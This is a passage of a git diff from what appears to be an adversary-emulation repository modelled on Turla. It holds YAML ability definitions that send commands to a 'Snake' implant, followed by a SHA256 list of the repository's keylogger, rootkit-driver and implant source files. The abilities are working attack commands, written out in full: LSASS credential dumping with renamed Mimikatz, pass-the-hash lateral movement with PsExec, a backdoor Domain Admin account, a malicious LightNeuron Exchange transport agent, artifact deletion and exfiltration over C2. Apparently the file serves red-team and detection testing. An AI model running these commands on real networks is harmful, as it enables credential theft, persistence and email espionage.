to the file server (Adversary) + description: | + Task Snake to download the 3rd Snake installer to the file server. + tactic: Commmand and Control + technique: + attack_id: T1105 + name: "Ingress Tool Transfer" + procedure_group: procedure_command_and_control + procedure_step: 16.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 4, "file": "installer_v3.exe", "dest":"C:\\Windows\\System32\\cmu_svc.exe"}' --task-wait-timeout 60 + +- id: 256ed126-a10c-4736-a074-216ab90da8f2 + name: Dump NTLM hashes on the file server (Adversary) + description: | + Task Snake to run Mimikatz to dump all NTLM hashes from LSASS.exe. + tactic: Credential Access + technique: + attack_id: T1003.001 + name: "OS Credential Dumping: LSASS Memory" + procedure_group: procedure_credential_access + procedure_step: 16.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 3, "proc": "C:\\Windows\\System32\\loadperf.exe", "args": "\"pr::d\" \"slsa::lop\" \"quit\""}' --task-wait-timeout 60 | grep #{domain.admin.ntlm} + input_arguments: + domain.admin.ntlm: + description: The NTLM of a domain admin. + type: string + default: f3fcd61f987a97da49ce5f650b4e6539 + + +# Step 17 - Lateral Movement to Admin Workstation and Persistence + +- id: b4018de2-bb0c-493e-8fe3-5f355831012f + name: Install the 3rd Snake installer on the third target host (Adversary) + description: | + Task Snake to pass-the-hash using the previously discovered NTLM hash to run PsExec and install Snake on the target workstation. + tactic: Lateral Movement + technique: + attack_id: T1550.002 + name: "Use Alternate Authentication Material: Pass the Hash" + procedure_group: procedure_lateral_movement + procedure_step: 17.A.1 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 3, "proc": "C:\\Windows\\System32\\loadperf.exe", "args": "\"pr::d\" \"slsa::htp /user:#{domain.admin.user} /ntlm:#{domain.admin.ntlm} /domain:#{network.domain.name}.local /remotepc:#{third.target.host} /pexe:C:\\Windows\\System32\\fs_mgr.exe /sys:1 /prun:C:\\Windows\\System32\\cmu_svc.exe\" \"quit\""}' --task-wait-timeout 60 + input_arguments: + third.target.host: + description: The hostname of the third target host. + type: string + default: uosis + +- id: 42859ec4-b714-48ca-be74-9438bbbaaf7b + name: RDP to the third target host (User) + description: | + Xfreerdp to the third host as the third target user + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + proc: + command: | + exec-background xfreerdp /u:"#{network.domain.name}\\#{second.target.user}" /p:"#{second.target.password}" /v:#{third.target.ip} /cert-ignore + input_arguments: + second.target.password: + description: The password of the second target user. + type: string + default: Producer2! + third.target.ip: + description: The IP address of the third target host. + type: string + default: 10.100.40.102 + +- id: eddd5776-886a-4cde-97b7-46bf095ea049 + name: Open Edge & run PowerShell as the domain admin on third target host (User) + description: | + Using xdotool, open Edge browser, wait, and open admin powershell. + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + rdp_pid=$(ps -ef | grep '[:]#{third.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool key --window "$rdp_window" Super_L+r; + sleep 6; + xdotool type --window "$rdp_window" "microsoft-edge:"; + sleep 6; + xdotool key --window "$rdp_window" Tab; sleep 1; + xdotool key --window "$rdp_window" Return; + sleep 6; + + xdotool key --window "$rdp_window" Super_L+r; + sleep 6; + xdotool type --window "$rdp_window" "powershell"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "runas /user:#{network.domain.name}\#{domain.admin.user} powershell"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "#{second.target.password}"; + xdotool key --window "$rdp_window" Return; + sleep 6; + +- id: ca32f105-2e35-4524-8589-0f71d92d98f6 + name: Delete artifacts from the file server (Adversary) + description: | + Delete PsExec, the Snake installer, and Mimikatz from the file server. + tactic: Defense Evasion + technique: + attack_id: T1070.004 + name: "Indicator Removal: File Deletion" + procedure_group: + procedure_step: 17.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 5054474d50435a51404b '{"type": 1, "command": "del /Q C:\\Windows\\System32\\fs_mgr.exe C:\\Windows\\System32\\loadperf.exe C:\\Windows\\System32\\cmu_svc.exe"}' --task-wait-timeout 60 + +- id: 27083aa1-9a0d-4fe4-9154-fa6f0598e2f9 + name: Enumerate processes (Adversary) + description: | + Task Snake to enumerate running processes on the machine to discover processes under the domain admin. + tactic: Discovery + technique: + attack_id: T1057 + name: Process Discovery + procedure_group: procedure_discovery + procedure_step: 17.A.4 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 3, "proc": "tasklist.exe", "args": "/v"}' --task-wait-timeout 60 | grep '#{domain.admin.user}' -i + +- id: 384f3d1f-97f1-4070-98c5-764de023ed2c + name: Create a new domain user (Adversary) + description: | + Task Snake to create a new domain user using an access token from one of the domain admin processes. + The new domain user will be used as a backdoor domain admin account for persistence on the domain. + tactic: Persistence + technique: + attack_id: T1136.002 + name: "Create Account: Domain Account" + procedure_group: procedure_persistence + procedure_step: 17.A.5 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "net user #{new.domain.user} #{new.domain.password} /add /domain", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 + input_arguments: + new.domain.user: + description: The username of the new domain user. + type: string + default: leshy + new.domain.password: + description: The password of the new domain user. + type: string + default: Password12345 + +- id: 36d93251-6932-49b9-82ad-994abd27730a + name: Add the new domain user to the Domain Admins group (Adversary) + description: | + Task Snake to create a new domain admin using the domain admin's access token. + tactic: Persistence + technique: + attack_id: T1136.002 + name: "Create Account: Domain Account" + procedure_group: procedure_persistence + procedure_step: 17.A.5 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "net group \"Domain Admins\" #{new.domain.user} /add /domain", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 + + +# Step 18 - Lateral Movement to Exchange Server + +- id: c5bceb16-2f13-40a5-b460-9adb1d567b76 + name: Download LightNeuron (Adversary) + description: | + Task Snake to download LightNeuron + tactic: Execution + technique: + attack_id: T1105 + name: Ingress Tool Transfer + procedure_group: procedure_execution + procedure_step: 18.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 4, "file": "ln_transport_agent.dll", "dest":"C:\\Windows\\System32\\mtxconf.dll"}' --task-wait-timeout 60 + +- id: b43fb6c6-05d2-42ff-9083-e70d5dbea078 + name: Download the companion DLL for LightNeuron (Adversary) + description: | + Task Snake to download the companion DLL for LightNeuron. + tactic: Execution + technique: + attack_id: T1105 + name: Ingress Tool Transfer + procedure_group: procedure_execution + procedure_step: 18.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 4, "file": "n_installer_aux.dll", "dest":"C:\\Windows\\System32\\mtxcli.dll"}' --task-wait-timeout 60 + +- id: bcea95e5-76a0-4774-b51d-cdf6b1fd9ce0 + name: Download the Powershell installation script for LightNeuron (Adversary) + description: | + Task Snake to download the Powershell installation script for LightNeuron. + tactic: Execution + technique: + attack_id: T1105 + name: Ingress Tool Transfer + procedure_group: procedure_execution + procedure_step: 18.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 4, "file": "msiex.ps1", "dest":"C:\\Windows\\System32\\msiex.ps1"}' --task-wait-timeout 60 + +- id: 62f66621-1ff8-4054-bbd8-b3f374d55199 + name: Download the LightNeuron email rules file (Adversary) + description: | + Task Snake to download the LightNeuron email rules file. + tactic: Execution + technique: + attack_id: T1105 + name: Ingress Tool Transfer + procedure_group: procedure_execution + procedure_step: 18.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 4, "file": "rules.xml", "dest":"C:\\Windows\\System32\\wdr.rules.xml"}' --task-wait-timeout 60 + +- id: 09fc13b4-b345-41ce-b5a8-4214a37b627a + name: Download the LightNeuron config file (Adversary) + description: | + Task Snake to download the LightNeuron config file. + tactic: Execution + technique: + attack_id: T1105 + name: Ingress Tool Transfer + procedure_group: procedure_execution + procedure_step: 18.A.2 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 4, "file": "winmail.dat", "dest":"C:\\Windows\\System32\\perfe009.dat"}' --task-wait-timeout 60 + +- id: fea61ba7-d932-4a42-b988-5cf9de3ed118 + name: Copy LightNeuron transport agent DLL to the Exchange Server (Adversary) + description: | + Task Snake to copy LightNeuron using token impersonation to perform the copy as the domain admin. + tactic: Lateral Movement + technique: + attack_id: T1570 + name: "Lateral Tool Transfer" + procedure_group: procedure_lateral_movement + procedure_step: 18.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\mtxconf.dll \"\\\\#{fourth.target.host}\\C$\\Program Files\\Microsoft\\Exchange Server\\V15\\TransportRoles\\agents\\Hygiene\\Microsoft.Exchange.Transport.Agent.ConnectionFiltering.dll\"", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 + +- id: 8c6bfbe8-60f0-4ca8-a955-c35be84be374 + name: Copy LightNeuron companion DLL to the Exchange Server (Adversary) + description: | + Task Snake to copy the LightNeuron companion DLL using token impersonation to perform the copy as the domain admin. + tactic: Lateral Movement + technique: + attack_id: T1570 + name: "Lateral Tool Transfer" + procedure_group: procedure_lateral_movement + procedure_step: 18.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\mtxcli.dll \"\\\\#{fourth.target.host}\\C$\\Program Files\\Microsoft\\Exchange Server\\v15\\bin\\exdbdata.dll\"", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 + +- id: 2d061b67-5d49-4a0c-a7af-1b8a3a6fdd78 + name: Copy PowerShell installation script to the Exchange Server (Adversary) + description: | + Task Snake to copy PowerShell installation script to the Exchange Server using token impersonation to perform the copy as the domain admin. + tactic: Lateral Movement + technique: + attack_id: T1570 + name: "Lateral Tool Transfer" + procedure_group: procedure_lateral_movement + procedure_step: 18.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\msiex.ps1 \\\\#{fourth.target.host}\\C$\\Windows\\System32\\msiex.ps1", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 + +- id: ded4d5a0-bcd6-41f8-899b-9fa4fddac445 + name: Copy email rules file to the Exchange server (Adversary) + description: | + Task Snake to copy the email rules file to the Exchange server, using token impersonation to perform the copy as the domain admin. + tactic: Lateral Movement + technique: + attack_id: T1570 + name: "Lateral Tool Transfer" + procedure_group: procedure_lateral_movement + procedure_step: 18.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\wdr.rules.xml \\\\#{fourth.target.host}\\C$\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\msmdat.xml", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 + +- id: 0ee2902a-f75e-4367-9e99-2124d3070b4e + name: Copy config file to the Exchange server (Adversary) + description: | + Task Snake to copy the config file to the Exchange server, using token impersonation to perform the copy as the domain admin. + tactic: Lateral Movement + technique: + attack_id: T1570 + name: "Lateral Tool Transfer" + procedure_group: procedure_lateral_movement + procedure_step: 18.A.3 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "copy C:\\Windows\\System32\\perfe009.dat \"\\\\#{fourth.target.host}\\C$\\Program Files\\Microsoft\\Exchange Server\\v15\\bin\\winmail.dat\"", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 + +- id: 6dd62c1c-b65c-4e28-b241-04121cbbc9af + name: Install LightNeuron on the Exchange Server (Adversary) + description: | + Task Snake to install LightNeuron remotely using WMI and PowerShell, using the domain admin's token + tactic: Persistence + technique: + attack_id: T1505.002 + name: "Server Software Component: Transport Agent" + procedure_group: procedure_persistence + procedure_step: 18.A.7 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 3, "proc": "wmic.exe", "args": "/node:#{fourth.target.host} /privileges:enable /output:STDOUT process call create \"cmd.exe /c powershell.exe -File C:\\Windows\\System32\\msiex.ps1 > C:\\Windows\\Temp\\msiexinstallation.log 2>&1\"", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 | grep 'ReturnValue = 0;' -i + +- id: 658daa6f-97c0-41c0-af97-d6b4969d2e7c + name: Check installation log (Adversary) + description: | + Task Snake to check the installation log for any errors. + tactic: Execution + technique: + attack_id: T1059.003 + name: "Command and Scripting Interpreter: Windows Command Shell" + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "type \\\\#{fourth.target.host}\\C$\\Windows\\Temp\\msiexinstallation.log", "runas": "#{network.domain.name}\\#{domain.admin.user}"}' --task-wait-timeout 60 | grep "Waiting for service 'Microsoft Exchange Transport (MSExchangeTransport)' to start..." -i + +- id: 38023f7d-d776-46bb-bbfc-1f4853e8169b + name: Delete artifacts from the fourth target host (Adversary) + description: | + Task Snake to remove artifacts from the fourth target host: + tactic: Defense Evasion + technique: + attack_id: T1070.004 + name: "Indicator Removal: File Deletion" + procedure_group: procedure_defense_evasion + procedure_step: 18.A.9 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task 475e465e424557475b42 '{"type": 1, "command": "del /Q C:\\Windows\\System32\\msiex.ps1 C:\\Windows\\System32\\wdr.rules.xml C:\\Windows\\System32\\mtxconf.dll C:\\Windows\\System32\\mtxcli.dll C:\\Windows\\System32\\perfe009.dat"}' --task-wait-timeout 60 + + +# Step 19 - Discovery and Email Collection + +- id: def5cfe8-7aea-4cd3-803f-2c55e616c1fe + name: Perform system network configuration discovery (Adversary) + description: | + Task LightNeuron to perform system network configuration discovery. + tactic: Discovery + technique: + attack_id: T1016 + name: "System Network Configuration Discovery" + procedure_group: procedure_discovery + procedure_step: 19.A.1-19.A.5 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task info@#{network.domain.name}.local '5 | ipconfig /all' --task-wait-timeout 60 + +- id: fdcbcf07-0487-4757-8b09-6c1ce93220b9 + name: Send emails (User) + description: | + Generate email traffic for LightNeuron to capture + tactic: x + technique: + attack_id: x + name: x + procedure_group: x + procedure_step: x + platforms: + linux: + sh: + command: | + sudo smbclient -U '#{network.domain.name}\#{domain.admin.user}'%'#{second.target.password}' //#{third.target.ip}/c$ -c 'put ../caldera_port/send-email-to-egle.ps1 Users\Public\send-email-to-egle.ps1'; + sudo smbclient -U '#{network.domain.name}\#{domain.admin.user}'%'#{second.target.password}' //#{third.target.ip}/c$ -c 'put ../caldera_port/Microsoft.Exchange.WebServices.dll Users\Public\Microsoft.Exchange.WebServices.dll'; + sudo smbclient -U '#{network.domain.name}\#{domain.admin.user}'%'#{second.target.password}' //#{first.target.ip}/c$ -c 'put ../caldera_port/send-email-to-zilvinas.ps1 Users\Public\send-email-to-zilvinas.ps1'; + sudo smbclient -U '#{network.domain.name}\#{domain.admin.user}'%'#{second.target.password}' //#{first.target.ip}/c$ -c 'put ../caldera_port/Microsoft.Exchange.WebServices.dll Users\Public\Microsoft.Exchange.WebServices.dll'; + rdp_pid=$(ps -ef | grep '[:]#{third.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool key --window "$rdp_window" Super_L+r; + sleep 6; + xdotool type --window "$rdp_window" "powershell"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "cd C"; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" "\Users\Public"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" ".\send-email-to-egle.ps1"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + + rdp_pid=$(ps -ef | grep '[:]#{first.target.ip}' | awk {'print $2'}); + rdp_window=$(xdotool search --pid "$rdp_pid"); + xdotool key --window "$rdp_window" Super_L+r; + sleep 6; + xdotool type --window "$rdp_window" "powershell"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" "cd C"; + xdotool key --window "$rdp_window" shift+colon; + xdotool type --window "$rdp_window" "\Users\Public"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + xdotool type --window "$rdp_window" ".\send-email-to-zilvinas.ps1"; + sleep 6; + xdotool key --window "$rdp_window" Return; + sleep 6; + timeout: 300 + +- id: 4d10b3a8-6199-4615-861f-e4292630a9b9 + name: Exfiltrate the email log file (Adversary) + description: | + Task the LightNeuron implant to exfiltrate the email log file. + tactic: Exfiltration + technique: + attack_id: T1041 + name: "Exfiltration Over C2 Channel" + procedure_group: procedure_exfiltration + procedure_step: 19.A.12 + platforms: + linux: + sh: + command: | + ./evalsC2client.py --set-and-complete-task info@#{network.domain.name}.local '3 | 0' --task-wait-timeout 60 diff --git a/turla/Hashes/hash_SHA256.txt b/turla/Hashes/hash_SHA256.txt new file mode 100644 index 00000000..8d9a5f01 --- /dev/null +++ b/turla/Hashes/hash_SHA256.txt @@ -0,0 +1,534 @@ +51b711122076cd1f077f4bd06319161203a78694bcb5700cc4ca0f88d62b31e9 ./Resources/Keylogger/Keylogger/Keylogger/Keylogger.vcxproj +e6917d4db14c2fd2b27c68a9f7f3e210d7bc85d3616ed5bae6cacaa45d36212b ./Resources/Keylogger/Keylogger/Keylogger/Keylogger.vcxproj.filters +1bb7b4975cc9531ef15aa982fab0a476490d77477ce06e2f71acef7f5bac4c5a ./Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp +aa8294347e652ddaa5f6a56043d22270a0c9a69e4421f8228db0ff22142d8a17 ./Resources/Keylogger/Keylogger/Keylogger.sln +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/Keylogger/Keylogger/bin/.gitkeep +7d180cfeb7054c5ce258913355deee8df60c6d5091bdd135d8ad25bdcfc9d52f ./Resources/Keylogger/README.md +46bc181250ac38953868c36803b174f9808b2fa963e4f297b35fe323eb136948 ./Resources/Keylogger/.gitignore +f249dd454b3c8466f5b8222476871aaf172dca6e73a774776fd8498a534754b4 ./Resources/caldera_port/send-email-to-egle.ps1 +e1bf5767e6996584d2658d55c063515128cc317c9b7a8e1fd238f352d19d8adf ./Resources/caldera_port/send-email-to-zilvinas.ps1 +dc5f8b4a4b20fd038f26c55e1b06a8eb2ed1c026ad5c4cf8078c757f1abb287b ./Resources/Snake/README.md +80b807f96fb82a52a0a981ed81df84fb2b0611eaaedbb599d4f7525737d818a3 ./Resources/Snake/UserModule/README.md +61eafcd0bfc730f668dee06815dae84c0e6c4abbca310009f5c589a1ebfa0e81 ./Resources/Snake/UserModule/.gitignore +4c562d930fa292488e1f0ffa5806417f2958c9183432e0b02fe0f92b63f3d6e3 ./Resources/Snake/UserModule/CMakeLists.txt +9707da066881957607c0a9811003f26411ed0ce45d486658a997bee9b416b0a1 ./Resources/Snake/UserModule/tests/logging_test.cpp +45a9d224ad12927080446e5aa0103509939b3b48c84548ac292e93dc08491a78 ./Resources/Snake/UserModule/tests/enc_handler_test.cpp +2f89dc6c2c03264c89b525f28f556f838e7851dd077ab3b86c85b6a4009dfcaa ./Resources/Snake/UserModule/tests/util_test.cpp +30391f274c3aca4e7aca767d22722050ef43bf894a1549ff36dbd6f2f6b467f1 ./Resources/Snake/UserModule/tests/comms_pipe_test.cpp +3face3a530919a7274591677f98428d37a1ce34c86d585f352536a39d4d1a647 ./Resources/Snake/UserModule/tests/core_test.cpp +7ccd10f353172d303a49d5feeb58a4c56cbbd75aab749d2b0c77e7966e81e3f2 ./Resources/Snake/UserModule/tests/test_util.h +e003bee11f8847becd5d3f1df687678a41c35c97af8778146a9b92fbe43a644b ./Resources/Snake/UserModule/tests/execute_test.cpp +b786eec793de0727f4e6817852559d5c6fd4558b05a26f1eb14a34081085bba5 ./Resources/Snake/UserModule/tests/instruction_test.cpp +ac5bfce2358865c5ef7fed566f622c9c51a7682c83a27616086dab5e68e888ef ./Resources/Snake/UserModule/tests/comms_http_test.cpp +c7e901088d2a89c27929207fb3842cca6f2b3844880af6ac030634a3b4ed9b4a ./Resources/Snake/UserModule/src/enc_handler.cpp +63ef433e2e95d0d4f9bb423f8723b4c1cb2c5cfc3619e9907df02ea605ef2167 ./Resources/Snake/UserModule/src/comms_http.cpp +7145c749a4807e03941f206888b66ff2d2b4a33408a8421d950cbc1cc0caf258 ./Resources/Snake/UserModule/src/api_wrappers.cpp +0bca061c78b6c56448e0ec7327a9ff4a79af29bd91905c3d48f9a66fef60be5f ./Resources/Snake/UserModule/src/core.cpp +43cd1187cd6508c2b3738302bbb2feb0a5740b5eed4377d4b3247a24d07fea96 ./Resources/Snake/UserModule/src/logging.cpp +265e5062381162fb43dce9e5dae809d0ee6ff0b234f19428652474f223a39953 ./Resources/Snake/UserModule/src/execute_token.cpp +354a442a39e6ce73c942dc066d75c0d756892fecdb14f6e667535f180213ab61 ./Resources/Snake/UserModule/src/dllmain.cpp +69c5eb3556433a56a767ba03e56e118e9695e7007221e6f0d6408a664cfa1d2b ./Resources/Snake/UserModule/src/instruction.cpp +a7a65ece6c012b7393846d35f33125ef7736ac7e4e6751563ee571391495b778 ./Resources/Snake/UserModule/src/CMakeLists.txt +1e73c3b6c7bdcdf322bbec723a55ae3d2cc711ac28fa7cfccf2a16bc9c8a6722 ./Resources/Snake/UserModule/src/file_handler.cpp +4c41ae109bb4da76d435550ad1aca616bd44f3024e1c5f1463b93910fa0e550f ./Resources/Snake/UserModule/src/execute.cpp +892ea01fd8654e97a57405caf8aa203a3c16a3e29b95e79ff7cc09902a74332c ./Resources/Snake/UserModule/src/util.cpp +ecdac50477f12449a2cc983220c9aefbcee1cd927e4b9905b26c10a3142a2ff8 ./Resources/Snake/UserModule/src/comms_pipe.cpp +e803e2ba1d10c60aa038a6329ec3ebe9cb5c4218c2a56c053ecf5de2ebd6ebf7 ./Resources/Snake/UserModule/include/file_handler.h +1ebcf26bc22f2ec591bc7faa23fd494167c83a4312ce510f4310948dd9a08dbe ./Resources/Snake/UserModule/include/enc_handler.h +2741c162295a15ea62dfe1acb1929c4b5fa3408e71dc32074ca0f13ed6560fa3 ./Resources/Snake/UserModule/include/usermodule_errors.h +63e0afceaa48bb7c7bc00a9cd5ae9671847a9527e7d526d836f6d3afc0937584 ./Resources/Snake/UserModule/include/core.h +899e1e4036fd690eded4f10fc45d3659d67f503676cf8e7050037d3652c9f3d9 ./Resources/Snake/UserModule/include/api_wrappers.h +c6186c82822a6d2be1d501b6f36d9c7e7f62c98af564e81d8d5af26a9440bbfc ./Resources/Snake/UserModule/include/comms_pipe.h +84f863d68e9c8f8c68f4a21c3fede539528f30859895326ef2191d553361b4ab ./Resources/Snake/UserModule/include/util.h +2b9cab269b05934823bd09e0effcc58062fc6ecf3fd26ab3577575fdea51b1d8 ./Resources/Snake/UserModule/include/instruction.h +41314d89d5ae658d40768932fcb92a39cf917c2d3de6033a1f26c32888ea5959 ./Resources/Snake/UserModule/include/logging.h +8242a0c3d67324c258119cc769408afedba40d200056cfa5163d9b7b03e54bb9 ./Resources/Snake/UserModule/include/comms_http.h +f1807efe84893d06cfabafde4859db2a56cc2fe6f1c92016c1976043c6cf4f50 ./Resources/Snake/UserModule/include/execute.h +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 ./Resources/Snake/UserModule/bin/.gitkeep +6057563ba31ce95a762ce379af090f4dde6a174020a145819ab3c700f5250b13 ./Resources/Snake/.gitignore +3df8bdaa1d718e6494b7fd06472b9ff2495c2a5b26da84803dea913e4ce8d0eb ./Resources/Snake/build_installer.bat +62acd365fa57a0c494d041ed6aa6269971d3687a196a780a1e4794c81ca7e17b ./Resources/Snake/SnakeDriver/README.md +baa969e75dfcca7dde2b8409615aec3b559c7620f1f5074ad63fd69f20313bf7 ./Resources/Snake/SnakeDriver/run_driver.ps1 +bf01e9526d684aff7c0bbfe45fb6b95315a43d4d9682f1ba2990f01562f0bcc3 ./Resources/Snake/SnakeDriver/test_driver.ps1 +5227c8c61ac9b36950caa04890f9c3ef3daa95bf7f212ad4cc221783532ca1ca ./Resources/Snake/SnakeDriver/SnakeDriver/inject.hpp +4e8c8d7cbc1d8f4d9b65d610a02bea7feb84c20be80676ef31ba9d54f37598b8 ./Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.vcxproj +ce6862061cb95a3ee14c6ae8e3fe49388efd27bf52d6f788a9e4df94446a907c ./Resources/Snake/SnakeDriver/SnakeDriver/attach.cpp +27b51ff615790434d0576359d1777b6330c625cd59e0c78906aec9ff46ebde24 ./Resources/Snake/SnakeDriver/SnakeDriver/payload.hpp +4210db60d5d02dc24e3d2f67792b4be27b6f35aeab4463b66355521da526d674 ./Resources/Snake/SnakeDriver/SnakeDriver/hooks.c +9b0131c9a8796749c730ac2f9edad2172b0aaf370eaf90f95e582d7a61a5e36e ./Resources/Snake/SnakeDriver/SnakeDriver/process.hpp +67d86fe7cf909676f9fed33e92bd24c305a1ed021d70658ec8bf7df85c661844 ./Resources/Snake/SnakeDriver/SnakeDriver/apc.hpp +25876a88487ab9402fc792432658fda13055c5cbd0dd17610a60a70f744a719b ./Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.vcxproj.filters +9e6f269237e4b13b200acb62aad63cce257628050012a2cec4ecad8e6d82094a ./Resources/Snake/SnakeDriver/SnakeDriver/hooks.h +49d98563d4e604ca492bbd44e0d5125d35dba4691502b68465253a4cf999b103 ./Resources/Snake/SnakeDriver/SnakeDriver/filesystem.hpp +31e04989f517a704c665cecd6c1234af03dad8e5bed2bb71d1f806af15632ce7 ./Resources/Snake/SnakeDriver/SnakeDriver/wfp.hpp +8d206b160f0cdbc310c45d6574575cb6b6252f5f6c3fe804e9971cd304a2224e ./Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp +2bc9e9bb345d1d4df65301e07fd2185097139bde52cd36392f98c8ccbd7a44d0 ./Resources/Snake/SnakeDriver/SnakeDriver/SnakeDriver.inf +c6bd29aafaca05edf4ccaaf1f628f6b29e3d284c6d4fe642252612af337016dc ./Resources/Snake/SnakeDriver/SnakeDriver/pe.hpp +1eaf18e3c32be69b4d8b8a51797c9801a6971670a263c3774d80f5e7d83bc766 ./Resources/Snake/SnakeDriver/SnakeDriver/driver.c +5fb7c4c52eb9ad67b67672734468ce19c2b103e427ab89fbb2be68135cea9008 ./Resources/Snake/SnakeDriver/SnakeDriver/pidlookup.h +00ad1106afebd02f3e85e7c2b33da1fb6f38fb0fd5487fd0cd574f0bd0eefb84 ./Resources/Snake/SnakeDriver/SnakeDriver/pe.cpp +530ee516b247d9d112d2ecccf06a85ad01538d57283031de70e8597cf64c7907 ./Resources/Snake/SnakeDriver/SnakeDriver/pidlookup.c +2d9d4f6637a8958e792517bb9d61fed833696e29b4d9fd29f91612d3d8bdeb7d ./Resources/Snake/SnakeDriver/SnakeDriver/driver.h +67fcc228871c091a55cdf928fdfd308021a67612a73ee9c4d83bc305f34b6ce0 ./Resources/Snake/SnakeDriver/SnakeDriver/apc.cpp +a912c1647d8f543832d6bd75b8135c047ec90ce6c5ad12509fc0d7a38e00d57d ./Resources/Snake/SnakeDriver/SnakeDriver/process.cpp +1f415f8faccb6d0c86d133b6781cf600df2d7adfb582e2a90c7b63beb3e8b0cd ./Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp +a7b1b8b3ddbc7a8170a1653fc3e63f2e3d1b37eefb4cbcb36061d1537a1a6190 ./Resources/Snake/SnakeDriver/SnakeDriver/attach.hpp +38c27023805ccf190f3523345cbc376dd64b06b75125f1466de581c8330190fb ./Resources/Snake/SnakeDriver/SnakeDriver/common.hpp +3acf1b87351453f1d7122ec57cdd33d01d944291fbe3d53d8e329f52ab9002d9 ./Resources/Snake/SnakeDriver/SnakeDriver/common.cpp +f2b5e268e04ac59a00fbd66db5f222adcba285491bb297a85bce10de29c9a0c6 ./Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp +65988b056ee36b315a5a7296c345f4047263d1722feb443044f2e48d839f04ff ./Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.vcxproj.filters +ed6a627fe494bed63427f901cd55ab3dab81fd4f06c7e9a8cd9951a4fe664916 ./Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.cpp +7d8b2e419a708b65c93bb40ef9192f341b02f0e50cd2b7df4a5afc806622781e ./Resources/Snake/SnakeDriver/SnakeTester/SnakeTester.vcxproj +18b8bf52e2d796fe525b340c5717fe300410a03c17bdd99e982660ce0ee659fb ./Resources/Snake/SnakeDriver/SnakeDriver.sln +21e237950aad2a57c6d87378c84a84b43bf143e27d69da190f0e1749a8aa2280 ./Resources/Snake/SnakeDriver/libinfinityhook/stdafx.cpp 